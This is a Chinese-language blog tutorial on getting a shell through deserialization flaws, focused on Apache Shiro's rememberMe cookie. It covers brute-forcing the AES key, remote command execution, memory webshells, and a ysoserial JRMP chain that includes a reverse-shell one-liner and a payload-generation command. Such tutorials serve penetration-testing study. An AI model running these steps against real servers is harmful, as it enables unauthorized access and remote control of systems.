getshell姿势(二)--反序列化

前言

  序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。

  当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。常见的反序列化有php的函数(serialize、unserialize)、shiro反序列化漏洞等。

实操--shiro反序列化

1、判断存在shiro框架

  当cookie存在rememberMe字符时,大概率存在shiro框架。

2、通过shiro工具爆破AES密钥和利用链。

shiro序列化的步骤为:数据-->序列化-->AES加密-->base64编码

shiro反序列化的步骤:base64解码-->AES解密-->反序列化

所以,我们想要利用shiro的反序列化漏洞,必需先找到AES加密方式的密钥。

3、通过shiro工具对服务器进行远程命令执行操作

  原理是通过rememberMe参数,向服务器上传一个命令执行恶意代码的序列化。

4、上传内存马

5、连接内存码

第二种方法:使用JRMP利用链,让目标网站执行一个反弹shell命令

(一)通过DNSlog回显,验证反弹shell的可能

1、通过DNS平台,申请一个DNS域名

2、通过ysoserial生成一个访问DNS的序列化(注:红色部分为DNSlog域名)

java -jar ysoserial.jar  JRMPClient "hhhhh.bq1igh.dnslog.cn" > poc.ser

3、通过爆破出的密钥,对序列化数据进行加密

  注意AES加密方式有两种,一种是CBC模式、一种是GCM模式。本文在使用工具爆破时,爆破结果场景是GCM模式,所以选择GCM模式的加密数据。

4、将加密数据添加到请求数据包的remeberMe部分

5、DNSLOG平台记录访问信息

(二)设置反弹shell

利用原理:

  将 payloads/JRMPclient 生成的 payload 1(指定自己vps的IP和端口)发送到漏洞服务器上,反序列化时,将会根据JRMP 协议反向连接 vps,在通信的同时,vps 会将指定好的paylad2 序列化后再次发送到漏洞服务器上,利用正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第二次反序列化 vps 发送过来的payload2,从而造成 RCE。

1、在NPS段执行开启JRMPListen命令(打码处为NPS的反弹shell命令base64加密数据)

Linux反弹shell命令:

bash -i &> /dev.tcp/ip/端口 <&1

2、开启NPS的监听端口

3、在攻击机通过ysoserial生成payload1

4、将生成的payload1发送给目标服务器

5、通过NPS监听服务器,进行命令执行。

总结

  如果能够爆破到可以进行反弹shell的利用链,如JRMP,那么,反序列化拿到服务器权限的步骤为:第一步,确定存在反序列化漏洞;第二步,上传反弹shell的命令到目标服务器执行;第三步,利用监听服务器对目标服务器进行getshell。

当然,如果有漏洞直接利用工具,可以通过工具直接上传内存马到目标服务器,进而达到getshell的目的。

说明

  以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,文章作者不承担任何责任

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

春天里面的龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值